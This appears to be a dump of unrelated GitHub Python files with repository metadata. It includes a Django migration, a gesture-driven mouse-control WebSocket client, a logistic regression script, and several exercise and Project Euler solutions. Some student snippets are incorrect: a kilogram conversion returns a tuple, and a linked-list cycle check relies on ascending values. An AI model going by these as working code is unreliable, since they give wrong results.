dependencies = [
('region', '0011_auto_20150904_1547'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('formacion', '0036_revisioninterventoriaescuelatic'),
]
operations = [
migrations.CreateModel(
name='RevisionInterventoriaDocenteSoporte',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('fecha', models.DateTimeField(auto_now_add=True)),
('ip', models.IPAddressField(null=True, blank=True)),
('participante', models.ForeignKey(to='formacion.ParticipanteDocente')),
('region', models.ForeignKey(to='region.Region')),
('usuario', models.ForeignKey(to=settings.AUTH_USER_MODEL)),
],
),
migrations.CreateModel(
name='RevisionInterventoriaEscuelaTicSoporte',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('fecha', models.DateTimeField(auto_now_add=True)),
('ip', models.IPAddressField(null=True, blank=True)),
('participante', models.ForeignKey(to='formacion.ParticipanteEscuelaTic')),
('region', models.ForeignKey(to='region.Region')),
('usuario', models.ForeignKey(to=settings.AUTH_USER_MODEL)),
],
),
]
| [
"[email protected]"
] | |
1e6341c90e6b88a4578f63aa809301a49127fbe2 | f311a3a1af39b6bbbbad1bbf6f6ecd4ac32f189b | /magnet_spider/__init__.py | 5d8323ba02dc72d5d9eb791e0043a85dc7f4e8e3 | [] | no_license | qq431169079/spider-1 | c7c5fad312752f2f00d41d84d087e2620afa131c | f1f12b4c1675feeee7122a5580c56acf379fec55 | refs/heads/master | 2020-04-25T11:36:28.202860 | 2018-03-27T06:11:20 | 2018-03-27T06:11:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 169 | py | # -*- coding: utf-8 -*-
"""
获得磁力链接的资源,然后将资源保存到本地的数据库里面
以后需要什么资源直接从数据库里拿就行了
""" | [
"[email protected]"
] | |
3fac5b7bcf5bafc3f2caa9d78b4f933fdcf8643c | 5f377df89d290b1132dd08fec1cc79d1f4d9eb39 | /HandsSVG/autobahn_client.py | 2e9ce910aa010a43d84c9dc41ccbea5528509b53 | [] | no_license | witpaulchen/hand-gesture-recognition | 317fcf815f7b506f4a9546c3d87652fd272465a6 | 73ae0552a0174a9b36c5074e2d82c3b60f948287 | refs/heads/master | 2021-01-17T10:59:10.053210 | 2012-06-11T04:33:22 | 2012-06-11T04:33:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,258 | py | #! /usr/bin/env python
import sys, re
import win32api, win32con
from twisted.internet import reactor
from autobahn.websocket import WebSocketClientFactory, \
WebSocketClientProtocol, \
connectWS
def move(x, y): win32api.SetCursorPos((x, y))
def up(x, y): win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, x, y, 0, 0)
def down(x, y): win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, x, y, 0, 0)
def wheel(d): win32api.mouse_event(win32con.MOUSEEVENTF_WHEEL, 0, 0, d, 0)
class EchoClientProtocol(WebSocketClientProtocol):
def onOpen(self):
print "Open"
self.scaleX = 1280.0/640.0;
self.scaleY = 1024.0/480.0;
self.prev_depth = -1;
self.gesture_state = "OpenHand"
sys.stdout.flush()
def onMessage(self, msg, binary):
print "=> " + msg
sys.stdout.flush();
m = re.match(r'\((.*),(.*),(.*),(.*)\)', str(msg))
gesture = m.group(1)
x = int(m.group(2))
y = int(m.group(3))
depth = int(m.group(4))
if self.prev_depth == -1: self.prev_depth = depth
scaledX = int(x*self.scaleX);
scaledY = int(y*self.scaleY);
print gesture, scaledX, scaledY, depth
sys.stdout.flush()
move (scaledX, scaledY)
depth_delta = depth - self.prev_depth
if self.gesture_state == "OpenHand":
if (depth_delta < -15):
print "Wheel up"
wheel(4)
elif (depth_delta > 15):
print "Wheel down"
wheel(-4)
self.prev_depth = depth
if (self.gesture_state != gesture):
self.gesture_state = gesture;
if (gesture == "OpenHand"): up(scaledX, scaledY)
else: down(scaledX, scaledY)
return
move(x*self.scaleX, y*self.scaleY)
if __name__ == '__main__':
if len(sys.argv) < 2:
print "Need the WebSocket server address, i.e. ws://localhost:9000"
sys.exit(1)
print "Setting up server"
factory = WebSocketClientFactory(sys.argv[1])
factory.protocol = EchoClientProtocol
connectWS(factory)
print "Running"
reactor.run()
| [
"[email protected]"
] | |
7f746c23b6c3dd6e6b161719d376f5ada4b760d6 | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_017/ch5_2020_09_03_00_38_11_572440.py | 9d0a21888a98c0f85d7bd3236bd439d3530a3bf4 | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 98 | py | def libras_para_kg(x):
y= 0,453592 * x
return y
x=10
a = libras_para_kg(x)
print(a)
| [
"[email protected]"
] | |
991104c7d93df461d55ff17e86ea77fb8816e9f6 | bbc484d83b266cecd9f4b3c2241fb9d8f0dbd87a | /Python/cake3.py | a053d763ac3a8e5b893b4c940988e2165371241b | [] | no_license | abdirahmanfarah/Practice-Code-Reviews | 1ad7e2140a23e9ce8100d6e000ff0adf9ff3163d | 69f58255a1a695e41994729a486c032658498091 | refs/heads/master | 2023-01-01T06:36:28.185842 | 2020-10-25T17:43:56 | 2020-10-25T17:43:56 | 268,928,158 | 0 | 0 | null | 2020-07-16T22:46:01 | 2020-06-02T23:15:45 | JavaScript | UTF-8 | Python | false | false | 1,467 | py | def contains_cycle(first_node):
# Check if the linked list contains a cycle
# Hash table to keep track which values we have visited
# First node is head node which is our curr node
# if we have a first node, we add its value to our hash
# While we have a next on our current node,
# keep iterating
# if our curr node's value is in our hash, we break and
# return false
# else we keep iterating
hash_table = {}
curr_node = first_node
if curr_node == None:
return False
# hash_table[curr_node.value] = curr_node.value
# print(hash_table)
# while curr_node.next != None:
# if curr_node.value in hash_table:
# # print(curr_node.value)
# return True
# else:
# hash_table[curr_node.value] = curr_node.value
# curr_node = curr_node.next
# o(n) time and o(1)
while curr_node.next != None:
if curr_node.next.value <= curr_node.value:
return True
else:
curr_node = curr_node.next
# fast runner and slow runner because the numbers could be
# totally arbritray and not in order
# slow_runner = first_node
# fast_runner = first_node
# while fast_runner is not None and fast_runner.next is not None:
# slow_runner = slow_runner.next
# fast_runner = fast_runner.next.next
# if fast_runner is slow_runner:
# return True
return False
| [
"[email protected]"
] | |
301d2bded8c8a4ceaea02cf1633ec8d372d716d3 | 21e254f45813db78755a512061dd4a0f30db0077 | /assignment1/7.py | 7ee157a11f55f7ed756ed4f4036e0441aae13f3e | [] | no_license | panipinaka/PYTHON-BASIC- | 95bf78fa3565f06f4c4bfa24a9b58585a97cdcf4 | 28daa2662d986f0b091288de57e58b55ba9c5893 | refs/heads/master | 2020-07-21T11:00:48.731333 | 2019-10-05T05:13:36 | 2019-10-05T05:13:36 | 206,841,756 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 117 | py | a=int(input("enter the value"))
x=[]
for i in range(2,a+1):
if a%i==0:
x.append(i)
print(1);print(x[0])
| [
"[email protected]"
] | |
8655f972ab0da8e69914f12c2e22e70df3ffe1c2 | b89b52cadbfadebb1638c6c36814a4883faf9c88 | /linear_algorithm/logistic_regression.py | e1d54c3001c327051eb1087d56f90cb11b800437 | [] | no_license | jamemamjame/ml_scratch | 0d2a0ff380a3bde42fff9e30e14655ec1f3d5c8c | 98ce5ee33defc4699adc6f566db7446857f90c30 | refs/heads/master | 2021-07-19T11:54:44.165601 | 2017-10-27T22:05:36 | 2017-10-27T22:05:36 | 108,300,479 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,759 | py | '''
Logistic Regression:
A key difference from linear regression is that the output value being modeled is a binary value (0 or 1) rather than a numeric value.
yhat = ________ 1.0 ___________
−(b0+b1×x1)
1.0 + e
@author: jame phankosol
'''
# Importing the library
import math
from random import seed
from data_preparation import load_csv, data_scaling, evaluation_algorithm, evaluation_metrics
# Make a prediction with coefficients
def predict(row, coefficients):
'''
yhat = ________ 1.0 ___________
−(b0+b1×x1)
1.0 + e
:param row:
:param coefficients:
:return: class (float, must round to 0 or 1 by self)
'''
yhat = coefficients[0]
for i in range(0, len(row) - 1): # don't cal the last index
yhat += coefficients[i + 1] * row[i]
return 1.0 / (1.0 + math.exp(-yhat))
# Estimate logistic regression coefficients using stochastic gradient descent
def coefficients_sgd(train, l_rate, n_epoch=50, print_epoch=False):
'''
b1(t + 1) = b1(t) + learning rate × (y(t) − yhat(t)) × yhat(t) × (1 − yhat(t)) × x1(t) ; error = (y(t) − yhat(t))
b0(t + 1) = b0(t) + learning rate × (y(t) − yhat(t)) × yhat(t) × (1 − yhat(t))
:param train:
:param l_rate:
:param n_epoch:
:return:
'''
coef = [0.0 for _ in range(0, len(train[0]))]
for epoch in range(0, n_epoch):
sum_error = 0.0
for row in train:
yhat = predict(row, coef)
error = row[-1] - yhat
sum_error += error ** 2
coef[0] = coef[0] + l_rate * error * yhat * (1 - yhat)
for i in range(0, len(coef) - 1):
coef[i + 1] = coef[i + 1] + l_rate * error * yhat * (1 - yhat) * row[i]
if print_epoch:
print('>epoch=%d, lrate=%.3f, error=%.3f' % (epoch, l_rate, sum_error))
return coef
# Linear Regression Algorithm With Stochastic Gradient Descent
def logistic_regression(train, test, l_rate, n_epoch):
coefficients = coefficients_sgd(train, l_rate, n_epoch)
prediction = []
for row in test:
yhat = predict(row, coefficients)
yhat = round(yhat)
prediction.append(yhat)
return prediction
# Evaluate an algorithm using a cross-validation split
def evaluate_algorithm(dataset, algorithm, n_fold, *args):
folds = evaluation_algorithm.cross_validation_split(dataset, n_fold)
scores = []
# loop for remove fold from folds
for fold in folds:
train_set = list(folds)
train_set.remove(fold)
train_set = sum(train_set, []) # union the mini list of vector
test_set = []
# copy test set for protect cheating (protect lookahead answer), then we remove last index (class, answer)
for row in fold:
row_copy = list(row)
row_copy[-1] = None
test_set.append(row_copy)
predicted = algorithm(train_set, test_set, *args)
actual = [row[-1] for row in fold]
accuracy = evaluation_metrics.accuracy_metric(actual, predicted)
scores.append(accuracy)
return scores
# -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
# # test predictions
# dataset = [[2.7810836, 2.550537003, 0],
# [1.465489372, 2.362125076, 0],
# [3.396561688, 4.400293529, 0],
# [1.38807019, 1.850220317, 0],
# [3.06407232, 3.005305973, 0],
# [7.627531214, 2.759262235, 1],
# [5.332441248, 2.088626775, 1],
# [6.922596716, 1.77106367, 1],
# [8.675418651, -0.242068655, 1],
# [7.673756466, 3.508563011, 1]]
# coef = [-0.406605464, 0.852573316, -1.104746259]
# for row in dataset:
# yhat = predict(row, coef)
# print("Expected=%.3f, Predicted=%.3f [%d]" % (row[-1], yhat, round(yhat)))
# # Calculate coefficients
# dataset = [[2.7810836, 2.550537003, 0],
# [1.465489372, 2.362125076, 0],
# [3.396561688, 4.400293529, 0],
# [1.38807019, 1.850220317, 0],
# [3.06407232, 3.005305973, 0],
# [7.627531214, 2.759262235, 1],
# [5.332441248, 2.088626775, 1],
# [6.922596716, 1.77106367, 1],
# [8.675418651, -0.242068655, 1],
# [7.673756466, 3.508563011, 1]]
# l_rate = 0.3
# n_epoch = 100
# coef = coefficients_sgd(dataset, l_rate, n_epoch, print_epoch=True)
# print(coef)
# # Test the logistic regression algorithm on the diabetes dataset
# seed(1)
# # load and prepare data
# filename = 'file_collection/pima-indians-diabetes.csv'
# dataset = load_csv.load_csv(filename)
# for i in range(len(dataset[0])):
# load_csv.str_column_to_float(dataset, i)
# minmax = data_scaling.dataset_minmax(dataset)
# data_scaling.normalize_dataset(dataset, minmax)
# # evaluate algorithm
# n_folds = 5
# l_rate = 0.1
# n_epoch = 100
# scores = evaluate_algorithm(dataset, logistic_regression, n_folds, l_rate, n_epoch)
# print('Scores: %s' % scores)
# print('Mean Accuracy: %.3f%%' % (sum(scores) / float(len(scores))))
# Test LVQ on Ionosphere dataset
seed(1)
# load and prepare data
filename = 'file_collection/ionosphere.csv'
dataset = load_csv.load_csv(filename)
for i in range(len(dataset[0]) - 1):
load_csv.str_column_to_float(dataset, i)
# convert class column to integers
load_csv.str_column_to_int(dataset, len(dataset[0]) - 1)
# evaluate algorithm
n_folds = 5
l_rate = 0.1
n_epoch = 100
scores = evaluate_algorithm(dataset, logistic_regression, n_folds, l_rate, n_epoch)
print('Scores: %s' % scores)
print('Mean Accuracy: %.3f%%' % (sum(scores) / float(len(scores))))
| [
"[email protected]"
] | |
b7ac31d6c9b58ecbf80a5330a307b8ffd483c00b | daee54824cb107f9b5749e3c12e7f09f544bac0e | /modules/vtk_basic/vtkRectangularButtonSource.py | abe323630898764daa3efdb8b9dec834163d4039 | [] | no_license | JoonVan/devide | 8fa556d2b42c5ad70c3595303253f2a171de0312 | 586225d68b079e2a96007bd33784113b3a19a538 | refs/heads/master | 2020-12-26T06:25:01.744966 | 2017-01-22T19:47:50 | 2017-01-22T19:47:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 493 | py | # class generated by DeVIDE::createDeVIDEModuleFromVTKObject
from module_kits.vtk_kit.mixins import SimpleVTKClassModuleBase
import vtk
class vtkRectangularButtonSource(SimpleVTKClassModuleBase):
def __init__(self, module_manager):
SimpleVTKClassModuleBase.__init__(
self, module_manager,
vtk.vtkRectangularButtonSource(), 'Processing.',
(), ('vtkPolyData',),
replaceDoc=True,
inputFunctions=None, outputFunctions=None)
| [
"[email protected]"
] | |
512c95dd15280d5a94338f6ccb0cc7776fcd1843 | 250b3b832a503908b153813b1fc79d2c8121dd23 | /tic-tac-toe/2computertrain_Ofirst.py | 26f0fa020ae7aa6a82c956ae54215055fc4af193 | [] | no_license | Lucaz0619/tic-tac-toe-reinenforcement | 654b21a699c8a21937b0cb4265679fe616f0cc77 | 5b7b3a529bbda00840050c4cf31096288a650c29 | refs/heads/master | 2022-10-24T14:55:01.606670 | 2020-06-19T11:31:17 | 2020-06-19T11:31:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,788 | py | import random
import pickle
import numpy as np
import matplotlib.pyplot as plt
episodes = 2000000
lr = 0.4
gamma = 0.99
exp = 0.4
win_reward = 1
lose_reward = -1
tie_reward = 0.5
states2value_cross = {}
states2value_circle = {}
win_history = np.zeros(episodes, dtype='int')
def get_hash(state):
return str(state.reshape(9))
def choose_action(state, switch, exp):
positions = []
for i in range(3):
for j in range(3):
if state[i][j] == 0:
positions.append((i, j))
if random.uniform(0, 1) <= exp:
ranpos = np.random.choice(len(positions))
action = positions[ranpos]
else:
states2value = {}
if switch ==1:
states2value = states2value_circle
else:
states2value = states2value_cross
value_max = -999
for p in positions:
next_state = state.copy()
next_state[p] = switch
next_state_hash = get_hash(next_state)
if states2value.get(next_state_hash) is None:
value = 0
else:
value = states2value.get(next_state_hash)
if value >= value_max:
value_max = value
action = p
return action
def update_state(state, action, switch):
state[action] = switch
return state
def check(state):
col_sum = np.sum(state, axis=1)
row_sum = np.sum(state, axis=0)
cl1 = state[0][0] + state[1][1] + state[2][2]
cl2 = state[2][0] + state[1][1] + state[0][2]
win = 2
for i in range(8):
for j in range(3):
if col_sum[j] == 3:
win = 1
break
elif col_sum[j] == -3:
win = -1
break
if win != 2:
break
for j in range(3):
if row_sum[j] == 3:
win = 1
break
elif row_sum[j] == -3:
win = -1
break
if win != 2:
break
if cl1 == 3:
win = 1
break
elif cl1 == -3:
win = -1
break
if cl2 == 3:
win = 1
break
elif cl2 == -3:
win = -1
break
if np.count_nonzero(state != 0) == 9 and win == 2:
win = 0
return win
def circle_reward(reward, circle_states, lr, gamma):
for st in reversed(circle_states):
if states2value_circle.get(st) is None:
states2value_circle[st] = 0
states2value_circle[st] += lr * (gamma * reward - states2value_circle[st])
reward = states2value_circle[st]
pass
def cross_reward(reward, cross_states, lr, gamma):
for st in reversed(cross_states):
if states2value_cross.get(st) is None:
states2value_cross[st] = 0
states2value_cross[st] += lr * (gamma * reward - states2value_cross[st])
reward = states2value_cross[st]
pass
for episode in range(episodes):
if episode % 1000 == 999:
print("epoch: {:d} / {:d}".format(episode+1, episodes), end="\r", flush=True)
# if episode == 100000:
# exp = 0.2
exp -= (0.2)/episodes
lr -= (0.2)/episodes
state = np.zeros((3, 3), dtype = 'int')
circle_states = []
cross_states = []
switch = random.randint(0,1)
if switch == 0:
switch = -1
switch = 1
win = 2
while win == 2:
if switch ==1:
action = choose_action(state, switch, exp)
state = update_state(state, action, switch)
state_hash = get_hash(state)
circle_states.append(state_hash)
win = check(state)
switch = -1
else:
action = choose_action(state, switch, exp)
state = update_state(state, action, switch)
state_hash = get_hash(state)
cross_states.append(state_hash)
win = check(state)
switch =1
#print(state)
# print(win)
if win == 1:
win_history[episode] = 1
circle_reward(win_reward, circle_states, lr, gamma)
cross_reward(lose_reward, cross_states, lr, gamma)
elif win == -1:
win_history[episode] = -1
circle_reward(lose_reward, circle_states, lr, gamma)
cross_reward(win_reward, cross_states, lr, gamma)
elif win == 0:
win_history[episode] = 0
circle_reward(tie_reward, circle_states, lr, gamma)
cross_reward(tie_reward, cross_states, lr, gamma)
# print(states2value)
fw = open('./models/value_table_cross', 'wb')
pickle.dump(states2value_cross, fw)
fw.close()
fw = open('./models/value_table_circle', 'wb')
pickle.dump(states2value_circle, fw)
fw.close()
# print(win_history)
count = np.zeros((3, episodes), dtype='float')
for i in range(episodes):
if i == 0:
if win_history[i] == 1:
count[0][i] += 1
elif win_history[i] == -1:
count[1][i] += 1
else:
count[2][i] += 1
else:
if win_history[i] == 1:
count[0][i] = 1 + count[0][i-1]
count[1][i] = count[1][i-1]
count[2][i] = count[2][i-1]
elif win_history[i] == -1:
count[0][i] = count[0][i-1]
count[1][i] = 1 + count[1][i-1]
count[2][i] = count[2][i-1]
else:
count[0][i] = count[0][i-1]
count[1][i] = count[1][i-1]
count[2][i] = 1 + count[2][i-1]
episodes = range(1, len(win_history)+1)
plt.plot(episodes, count[0]/episodes, 'b', label='Circle Win')
plt.plot(episodes, count[1]/episodes, 'r', label='Cross Win')
plt.plot(episodes, count[2]/episodes, 'g', label='Tie')
plt.title('Ha Ha')
plt.legend()
plt.show() | [
"[email protected]"
] | |
344be0ef3d76c0b251ffc42c4bcc2d4a2e16a864 | 51e77e985d9b6c6bb0972ccee14b867e289aae61 | /fundamentalsOfComputing/algorithmicThinking/hw4.py | a4ba03e7740eb086c9c4e05741f6d9867a9e5846 | [] | no_license | ErhardMenker/MOOC_Stuff | 7c397059f62ba39f21a877c7fcf71a97751dda4b | 7cdd581e9f9dcdd0b0c27dbbb9216bc76df8fff5 | refs/heads/master | 2021-01-17T10:38:06.805197 | 2017-03-29T23:50:18 | 2017-03-29T23:50:18 | 84,018,124 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,508 | py | '''
Project 4: Dynamic Programming
'''
### Matrix Functions ###
def build_scoring_matrix(alphabet, diag_score, off_diag_score, dash_score):
'''
builds a matrix given the scoring criteria for all possible alignments
'''
scoring_matrix = dict()
alphabet = alphabet.union(set(["-"]))
# traverse the matrix and fill it in
for letter_row in alphabet:
row_dict = dict()
for letter_col in alphabet:
# case 2: only of the elements is a dash; dash_score
if (letter_row == "-") or (letter_col == "-"):
row_dict[letter_col] = dash_score
# case 2: the characters are non-dashes and equivalent
elif letter_row == letter_col:
row_dict[letter_col] = diag_score
# case 3: the characters are non-dashes and not equivalent
else:
row_dict[letter_col] = off_diag_score
# append on this new row to the outputted dictionary
scoring_matrix[letter_row] = row_dict
return scoring_matrix
def compute_alignment_matrix(seq_x, seq_y, scoring_matrix, global_flag):
'''
builds an alignment matrix for two sequences seq_x & seq_y
'''
# trivial case
if (len(seq_x) == 0) or (len(seq_y) == 0):
return [[0]]
alignment_matrix = []
# set s[0, 0] to 0
alignment_matrix.append([0])
# fill in the zeroth column
for idx_i in range(1, len(seq_x) + 1):
if global_flag:
alignment_matrix.append([alignment_matrix[idx_i - 1][0] + scoring_matrix[seq_x[idx_i - 1]]["-"]])
else:
alignment_matrix.append([max(alignment_matrix[idx_i - 1][0] + scoring_matrix[seq_x[idx_i - 1]]["-"], 0)])
# fill in the zeroth row
row0 = alignment_matrix[0]
for idx_j in range(1, len(seq_y) + 1):
if global_flag:
row0.append(alignment_matrix[0][idx_j - 1] + scoring_matrix["-"][seq_y[idx_j - 1]])
else:
row0.append(max(alignment_matrix[0][idx_j - 1] + scoring_matrix["-"][seq_y[idx_j - 1]], 0))
# fill in the entries with positive i & j
for idx_i in range(1, len(seq_x) + 1):
for idx_j in range(1, len(seq_y) + 1):
if global_flag:
alignment_matrix[idx_i].append(max(alignment_matrix[idx_i - 1][idx_j - 1] + scoring_matrix[seq_x[idx_i - 1]][seq_y[idx_j - 1]], alignment_matrix[idx_i - 1][idx_j] + scoring_matrix[seq_x[idx_i - 1]]["-"], alignment_matrix[idx_i][idx_j - 1] + scoring_matrix["-"][seq_y[idx_j - 1]]))
else:
alignment_matrix[idx_i].append(max(alignment_matrix[idx_i - 1][idx_j - 1] + scoring_matrix[seq_x[idx_i - 1]][seq_y[idx_j - 1]], alignment_matrix[idx_i - 1][idx_j] + scoring_matrix[seq_x[idx_i - 1]]["-"], alignment_matrix[idx_i][idx_j - 1] + scoring_matrix["-"][seq_y[idx_j - 1]], 0))
return alignment_matrix
### Alignment Functions ###
def compute_global_alignment(seq_x, seq_y, scoring_matrix, alignment_matrix):
'''
computes the optimal global alignent given two sequences and scoring/alignment matrices
'''
# initialize the output alignments to empty strings
(align_x, align_y) = ("", "")
# initialize the coordinates to the bottom right of the matrix
(idx_i, idx_j) = (len(seq_x), len(seq_y))
while (idx_i != 0) and (idx_j != 0):
# elements from i & j are matched together
if alignment_matrix[idx_i][idx_j] == (alignment_matrix[idx_i - 1][idx_j - 1] + scoring_matrix[seq_x[idx_i - 1]][seq_y[idx_j - 1]]):
align_x = seq_x[idx_i - 1] + align_x
align_y = seq_y[idx_j - 1] + align_y
idx_i -= 1
idx_j -= 1
# element from i is matched with "-" instead of j element
elif alignment_matrix[idx_i][idx_j] == (alignment_matrix[idx_i - 1][idx_j] + scoring_matrix[seq_x[idx_i - 1]]["-"]):
align_x = seq_x[idx_i - 1] + align_x
align_y = "-" + align_y
idx_i -= 1
# element from j is matched with "-" instead of i element
elif alignment_matrix[idx_i][idx_j] == (alignment_matrix[idx_i][idx_j - 1] + scoring_matrix["-"][seq_y[idx_j - 1]]):
align_x = "-" + align_x
align_y = seq_y[idx_j - 1] + align_y
idx_j -= 1
while idx_i > 0:
align_x = seq_x[idx_i - 1] + align_x
align_y = "-" + align_y
idx_i -= 1
while idx_j > 0:
align_x = "-" + align_x
align_y = seq_y[idx_j - 1] + align_y
idx_j -= 1
return (alignment_matrix[len(seq_x)][len(seq_y)], align_x, align_y)
def compute_local_alignment(seq_x, seq_y, scoring_matrix, alignment_matrix):
'''
output the best alignment for a local gene pair
'''
# find the indices that have the maximum score in the alignment_matrix
max_score = float("-inf")
for row_idx in range(len(alignment_matrix)):
for col_idx in range(len(alignment_matrix[row_idx])):
iter_score = alignment_matrix[row_idx][col_idx]
if iter_score > max_score:
(max_score, idx_i, idx_j) = (iter_score, row_idx, col_idx)
# initialize the local alignment strings
(align_x, align_y) = ("", "")
while (idx_i != 0) and (idx_j != 0):
# stop the traceback if a zero value is found
if alignment_matrix[idx_i][idx_j] == 0:
break
# elements from i & j are matched together
elif alignment_matrix[idx_i][idx_j] == (alignment_matrix[idx_i - 1][idx_j - 1] + scoring_matrix[seq_x[idx_i - 1]][seq_y[idx_j - 1]]):
align_x = seq_x[idx_i - 1] + align_x
align_y = seq_y[idx_j - 1] + align_y
idx_i -= 1
idx_j -= 1
# element from i is matched with "-" instead of j element
elif alignment_matrix[idx_i][idx_j] == (alignment_matrix[idx_i - 1][idx_j] + scoring_matrix[seq_x[idx_i - 1]]["-"]):
align_x = seq_x[idx_i - 1] + align_x
align_y = "-" + align_y
idx_i -= 1
# element from j is matched with "-" instead of i element
elif alignment_matrix[idx_i][idx_j] == (alignment_matrix[idx_i][idx_j - 1] + scoring_matrix["-"][seq_y[idx_j - 1]]):
align_x = "-" + align_x
align_y = seq_y[idx_j - 1] + align_y
idx_j -= 1
return (max_score, align_x, align_y)
| [
"[email protected]"
] | |
c79ed32c3ca183386b0737fa3767a548da028733 | 1a856152b3ab65a8a0cc5cbedf0492d1c3716d27 | /bar.py | 56d70fffd57797f276a596d025770792cdf7cdbe | [] | no_license | stablum/thesis | 272f7f23ad1ad454c9310775b969bb54c84c9ea0 | 5c06d78322ddd6e1b8c214261ea6e4464a094bad | refs/heads/master | 2021-07-23T04:29:28.438657 | 2018-08-18T18:59:11 | 2018-08-18T18:59:11 | 60,299,071 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,273 | py | #!/usr/bin/env python
import pandas as pd
import numpy as np
def main():
df_whole = pd.read_excel('a2.xls').fillna(0)
df_m = df_whole.icol(range(10)).irow(range(20))
m = df_m.as_matrix()
u = []
uv = []
tf = []
for i in range(2):
xls_i = 13 + i
curr = df_whole.icol( xls_i ).irow(range(20))
u.append(curr)
um = np.array(u).T
def ps(_m):
profiles = np.dot(_m.T,um)
scores = np.dot(_m,profiles)
scores_df = pd.DataFrame(scores)
scores_df = scores_df.set_index(df_m.index)
print(scores_df.sort(0))
print(scores_df.sort(1))
disliking = (scores_df < 0).sum()
print(disliking)
print("part 1")
ps(m)
print("part 2")
m2 = m.copy()
sums = np.expand_dims(m2.sum(1),1)
m_norm = m2 / np.sqrt(sums)
ps(m_norm)
print("part 3")
idf = np.expand_dims(1/m.sum(0),0)
profiles = np.dot(m_norm.T, um)
scores = np.dot( m_norm * idf , profiles)
scores_df = pd.DataFrame(scores)
scores_df = scores_df.set_index(df_m.index)
print(scores_df.sort(0))
print(scores_df.sort(1))
disliking = (scores_df < 0).sum()
print(disliking)
import ipdb;
ipdb.set_trace()
if __name__=="__main__":
main()
| [
"[email protected]"
] | |
f8726e89cce340e6929af19c8547ecdcb02cbdea | 5fe6613dfe1eb6c94b277255bb0a7bded1a53525 | /add_digits.py | 4b5e41ae32db96de0f6e1233772bb730dd204de7 | [
"Apache-2.0"
] | permissive | mekyas/ProjectEuler | 54bec92e1c99a985c3285cd4e25ff6ec6bc0a60c | ddb80b3d34dec15ff7b95bff2a1f8e1abd2970a7 | refs/heads/master | 2022-05-04T17:06:52.027565 | 2022-03-14T12:54:26 | 2022-03-14T12:54:26 | 151,731,895 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 214 | py | from functools import reduce
def addDigits(num: int) -> int:
if num<10:
return num
else:
return addDigits(reduce((lambda x, y: x+y), map((lambda x: int(x)), str(num))))
print(addDigits(38)) | [
"[email protected]"
] | |
b1298f3c8985d0a83cdd80557c7cf36c6e96af97 | c48519a22a428090656d98d6dfed5ad41c7839f6 | /leap year.py | acaaf6b85a118c5647d90bb85b7df1b9dbf196fe | [] | no_license | malfridur18/python | 25ae831e3365c45df12e8ff8632fae5b60b82a4a | 7ae374fa6308506569b712fe7f8592419333cec6 | refs/heads/master | 2020-07-20T05:44:38.994576 | 2019-09-05T14:34:02 | 2019-09-05T14:34:02 | 206,583,777 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 642 | py | year = int(input("Input a year: ")) # Do not change this line
if year%4==0:
if year%100==0:
if year%400==0:
print(True)
else:
print(False)
else:
print(True)
else:
print(False)
# Fill in the missing code below
#1. If the year is evenly divisible by 4, go to step 2. Otherwise, go to step 5.
#2. If the year is evenly divisible by 100, go to step 3. Otherwise, go to step 4.
#3. If the year is evenly divisible by 400, go to step 4. Otherwise, go to step 5.
#4. The year is a leap year (it has 366 days).
#5. The year is not a leap year (it has 365 days).
| [
"[email protected]"
] | |
fb1e2c959eeee6236b739fe51f938f96d3d55c0b | 5d95b7bddb828407efdfd58f9cc25e9ae2d8f5b2 | /problem051.py | e59c70aabfb6089d513e38900288acf2c9ef9d90 | [] | no_license | Carl-Aslund/project-euler | 3ec0ce9db1b91e3248c1f4eb4425a5f0de8ce975 | c36dc4e967707e141043f4a5cabd37ccafde49ce | refs/heads/master | 2021-09-13T07:41:34.359409 | 2018-04-26T17:29:09 | 2018-04-26T17:29:09 | 115,889,706 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,500 | py | from primeGen import getPrimes
patterns = [ # All possible six-digit patterns: 1's are unique, 0's repeat
[1,1,0,0,0,1],
[1,0,1,0,0,1],
[1,0,0,1,0,1],
[1,0,0,0,1,1],
[0,1,1,0,0,1],
[0,1,0,1,0,1],
[0,1,0,0,1,1],
[0,0,1,1,0,1],
[0,0,1,0,1,1],
[0,0,0,1,1,1]]
def fillPattern(pattern, num):
"""Replaces ones with unique values, and replace 0's with -1's."""
reverse = pattern[::-1]
for i in range(6):
if reverse[i] == 1:
reverse[i] = num%10
num = num//10
else:
reverse[i] = -1
return reverse[::-1]
def generateNumber(repeat, filledPattern):
"""Generates a number from a repeating digit and filled pattern."""
newNum = 0
for i in range(6):
newNum *= 10
if filledPattern[i] == -1:
newNum += repeat
else:
newNum += filledPattern[i]
return newNum
def familySize(filledPattern, primes):
count = 0
smallest = 0
for i in range(1,10):
num = generateNumber(i, filledPattern)
if num in primes:
count += 1
if count == 1:
smallest = num
if count >= 8:
print(smallest)
return
if __name__ == "__main__":
primes = getPrimes(1000000)
for i in range(101, 1000, 2):
for pat in patterns:
filledPattern = fillPattern(pat, i)
familySize(filledPattern, primes)
"""The output numbers was 121313, so it must be the answer."""
| [
